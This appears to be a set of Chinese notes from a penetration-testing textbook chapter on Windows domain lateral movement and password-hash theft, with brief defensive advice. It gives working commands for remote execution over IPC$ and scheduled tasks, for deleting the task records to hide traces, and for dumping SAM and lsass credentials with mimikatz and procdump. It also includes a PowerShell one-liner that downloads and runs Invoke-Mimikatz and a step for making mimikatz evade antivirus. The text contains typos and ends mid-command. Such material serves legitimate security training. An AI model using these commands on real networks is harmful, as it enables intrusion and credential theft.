目录
1.设置Active Diretory 2012 R2功能级别
第5章域内横向移动分析及防御
域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats,APT中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
5.1 常用Windows远程连接和相关命令
在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH (Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机(最好使用Windows自带的方法对远程目标系统进行命令行下的连接操作)并执行相关命令。
在实际的网络环境中,针对此类情况,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御。
5.1.1 IPC
IPC( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载操作 还可以在日标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
首先,需要建立一个ipc$输入以下命令
C:\Users\Administrator> net use \\1.1.1.10\ipc$ "123456Aa" /user:Administrator
然后在命令行环境下输入命令net use,查看当前的连接
net use
1. ipc$的利用条件
(1)开启了139、445端
ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445 (Window 2000)端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持。
(2)管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等)和系统目录 winnt或 windows(admin$)。通过 ipc$,可以实现对这些默认共享目录的访问。
2. ipc$连接失败的原因
- 用户名或密码错误。
- 目标没有打开 ipc$默认共享。
- 不能成功连接目标的139、445端口。
- 命令输入错误。
3.常见错误号
- 错误号5:拒绝访问。
- 错误号51: Windows 无法找到网络路径,即网络络中存在问题
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机,目标的 lanmanserver服务未启动、目标有防火墙(端口过滤)。
- 错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipc$ 已被删除。
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接。
- 错误号1326:未知的用户名或错误的密码。
- 错误号1792:试图登录,但是网络登录服务器没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
- 错误号2242:此用户的密码已过期。例如目标机器设置了账号管理策略,强制用户定期修改密码。
5.1.2使用Windows自带的工具获取远程主机信息
1. dir命令
在使用net use命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件
dir \\1.1.1.8\c$
2. tasklist命令
在使用net use命令与远程目标机器建立ipc$后,可以使用tasklist命令的/S、/U、 /P参数列出远程主机上运行的进程
tasklist /S 1.1.1.10 /U Administrator /P 123456Aa
5.1.3计划任务
1. at命令
at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Sever 2008之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下。
- 使用net time命令确定远程机器当前的系统时间。
- 使用copy命令将Payload 文件复制到远程目标机器中。
- 使用at命令定时启动该Payload文件。
- 删除使用at命令创建计划任务的记录。
在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$。
(1)查看目标系统时间
net time命令可用于查看远程主机的系统时间。
net time \\1.1.1.8
(2)将文件复制到目标系统中
首先,在本地创建一个calc.bat文件,其内容为“calc”。然后,让 Windows运行一个“计算器“程序,使用Windows自带的copy命令将一个文件复制到远程主机的C盘中。命令如下
copy calc.bat \\1.1.1.8\C$
(3)使用at创建计划任务
使用net time命令获取当前远程主机的系统时间。使用at命令让目标系统在指定时间运行一个程序
at \\1.1.1.10 4:10PM C:\calc.bat
(4)清除at记录
计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。
at \\1.1.1.10 7 /delete #删除创建的计划任务
使用at远程执行命令后,先将执行结果哦写入本地文本文件,再使用type命令远程读取该文本文件。
at \\1.1.1.10 4:10PM cmd.exe /c "ipconfig" >C:/1.txt"
type \\1.1.1.10\C$\1.txt
2.schtasks 命令
Windows Vista、Windows Server 2008及之后版本的操作系统已经开始使用schtasks 命令代替at命令。
1.在远程主机上创建一个名称为“taet”的计圳任务。该计划任务在开机时启动,启动程序为C盘下的 calc.bat,启动权限为System。
schtasks /create /s 1.1.1.10 /tn test /sc onstart /tr c:\calc.bat /ru system /f
2.在远程主机上运行名为test的计划任务
schtasks /run /s 1.1.1.10 /i /rn "test"
3.在使用schtasks命令时不需要输入密码,原因是此前已经与目标机器建立了ipc$。如果没有建立ipc$,可以添加参数/u /p
/u administrator
/p "123456Aa"
/f 强制删除
4.任务执行后删除计划任务
schtasks /delete /s 1.1.1.10 /tn "test" -f
5.最后删除ipc$
net use 名称 /del /y #在删除ipc$时,要确认删除的是自己创建的ipc$
在使用schtasks命令时,会在系统中留下日志文件C:\\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
5.2Windows系统散列值获取分析与防范
5.2.1 LM Hash和NTLM Hash
Windowus 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。Widows操作系统中的密码般由两部分组成,部分为 LMHash, 另部分为NTLMHash。在Windows操作系统中,Hash的结构通常如下。
username:RID:LM-HASH:NT-HASH
LM Hash的全名为“LAN Manager Hash",是微软为了提高Windows操作系统的安全性面采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将LMHash禁用了(从Windows Vista 和WindowsSever 2008版本开始,Windows操作系统默认禁用LM Hash )。LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上即可。如果LM Hash被禁用了,攻击者通过抓取的LM Hash通常为“ab35454a3435451404046“(表示LMHash为空值或被禁用)。
NTLMHash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
5.2.2单机密码抓取与防范
要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至Sytem。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。Isass.exe进程用于实现Windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的ls.exe 进程或SAM文件中导出。
在Windows操作系统中,SAM文件的保存位置是C:\WindowslSystem32\config.该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭Windows操作系统之后,使用PE盘进人文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。下面对常见的单机密码抓取工具和方法进行分析,并给出防范建议。
1. GetPass
打开GetPass工具所在的目录。打开命令行环境。GetPassword _x64.exe。 运行该程序后,即可获得明文密码
2. PwDump7
在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLM Hash,可以通过彩虹表来破解散列值。如果无法通过彩虹表来破解,可以使用哈希传递的方法横向渗透测试。
3. QuarksPwDump
下载QuarksPwDump.exe,在命令行环境中输人“QuarksPwDump.exe -dump-hash-local",导出NTML Hash
4.通过SAM和System文件抓取密码
(1)无工具导出SAM文件
reg save hklm\sam sam.hive #通过reg的save选项将注册表中的SAM,System文件导出到本地磁盘
reg save hklm\system system.hive
(2)通过读取SAM和System文件获取NTML Hash
①使用mimikatz读取
lsadump::sam /sam:sam.hive /system:system.hive #文件和mimikatz放在同一目录
②使用cain读取sam文件
③使用mimikatz直接读取本地SAM文件
将mimikatz免杀处理后上传至目标机器,在命令行中打开mimikatz
privilege::debug #提升权限
token::elevate #system权限
lsadump::sam #读取本地SAM文件,获取NTML Hash
5.使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" #在线读取散列值及铭文密码
6.使用mimikatz离线读取lsass.dmp文件
(1)导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件。
在Windows NT6中,可以在任务管理器中直接进行Dump操作
(2)使用Procdump导出lsass.dmp文件。
Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(3)使用mimikatz导出lsass.dmp文件中的密码散列值
运行mimikatz,将lsass.dmp文件加载到mimikatz
sekurlsa::minidump lsass.DMP #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full #导出密码散列值
7.使用power shell对散列值进行dump
管理员权限打开powershell,进入nishang目录,将Get-PassHashes.ps1脚本导入
Get-PassHashes
8.使用Powershell远程加载mimikatz抓取散列值和密码
powershell IEX (New-Object Net WebClient).DownloadString('https://.../Invoke-Mimikatz.ps1');Invoke-Mimikatz
9.单机密码抓取的防范方法
微软为了防止用户密码在内存中以明文形式泄露,发布了补T K28797关闭了Waiget功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
在命令行环境中开启或关闭Wdigest Auth,有如下两种方法。
(1)使用reg add命令
开启WdigestAuth,命令如下。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f #关闭
(2)使用PowerShell 开启/关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 #开启
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 #关闭
5.2.3使hashcat获取密码
5.2.4如何防范攻击者抓取明文密码和散列值
1.设置Active Diretory 2012 R2功能级别
Windws Sever 2012R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放人该组,攻击者就无法使用mimikaz等工具抓取明文密码和散列值了。
实验环境
- 操作系统: Windors Serer 2012 R2,未更新任何朴丁。
- 域名: hello.testlab
- 用户名: Administrator
- 密码: 123456Aa
控制面板\系统和安全\管理工具\AD用户和计算机\Users
pricilege::de